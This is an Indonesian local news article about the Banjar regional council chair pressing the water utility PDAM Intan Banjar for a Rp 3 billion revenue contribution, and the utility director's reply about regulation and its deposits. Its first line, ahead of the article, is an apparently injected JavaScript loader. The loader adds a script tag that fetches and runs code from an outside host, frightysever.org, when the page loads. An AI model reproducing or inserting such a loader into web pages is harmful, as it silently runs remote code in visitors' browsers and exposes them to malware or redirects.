(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIKANTAN.COM,MARTAPURA – Ketua DPRD Banjar Muhammad Rofiqi tagih setoran kontribusi Pendapatan Asli Daerah (PAD) PDAM Intan Banjar sebesar Rp 3 miliar.
“Sebelumnya kita sudah rapat dengan semua direktur perusahaan daerah yang intinya kesepakatan kita dalam kontribusi terhadap PAD, malam itu kita sepakati PDAM akan memberikan kontribusi sebesar Rp 3 miliar, namun belakangan kita mendapat surat yang beredar PDAM tidak bisa memberikan lantaran terbentur dengan peraturan,” jelas Rofiqi.
Menurut Rofiqi hal ini menjadi permasalahan yang menarik karena PDAM juga punya deposito yang jumlahnya lumayan besar, sehingga disayangkan jika tidak digunakan untuk ekspansi bisnis terhadap masyarakat.
“Depositnya kan lumayan banyak, namun malah disimpan, yang namanya perusahaan itu kalau kasnya cukup baru menyimpan, sedangkan ini minta duit ke kita untuk penyertaan modal, itukan artinya mereka kekurangan modal,” katanya.
Lebih jauh Rofiqi mengkalkulasikan bunga dari deposit itu mencapai 5 persen pertahun, kendati tidak mengetahui pasti jumlahnya, namun jika dikali beberapa bulan maka akan akan menghasilkan uang ratusan juta rupiah.
“Kemungkinan kita akan memanggil lagi pihak PDAM Intan Banjar, dan mempertanyakan mengapa mereka sebelumnya siap membayar Rp 3 miliar itu,” tutupnya.
Menanggapi permintaan wakil rakyat itu, Direktur Utama PDAM Intan Banjar Syaiful Anwar mengatakan, PDAM sendiri sangat siap untuk menyetor PAD sebesar Rp 3 miliar tersebut, dengan catatan harus ada Perda-nya. Terlebih dengan dukungan ketua dewan pengawas hal ini tidak akan jadi masalah, mengingat setiap wilayah ada devidennya masing masing.
“Kita siap saja membayarkan itu, namun juga harus ada Perdanya, kami tidak ada niat macam macam, kita akan Rapat Umum Pemegang Modal (RUPM) dulu dengan pemilik, namun dalam hal ini tentu ada proses sehingga atas semua dukungan ini tentu tidak akan jadi masalah,” katanya.
Syaiful membeberkan, jumlah deposito uang berkembang PDAM Intan Banjar sendiri mencapai Rp 68 miliar hasil bisnis PDAM dalam menjual air bersih. Deposito juga dapat diambil untuk pembayaran perbaikan hingga optimalisasi perkembangan perpipaan.
“Dalam hal ini seperti di Kecamatan Gambut sesuai dengan desain engineering kita, bahwa dari pal 17 ke jembatan di Gambut itu memakan biaya Rp 30 miliar, sekarang kita lagi menunggu saja, jadi dana deposito itu merupakan dana operasional, jadi jangan salahkan jika ini menjadi bisnis kita, namun deposito itu untuk pengembangan,” tutupnya. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.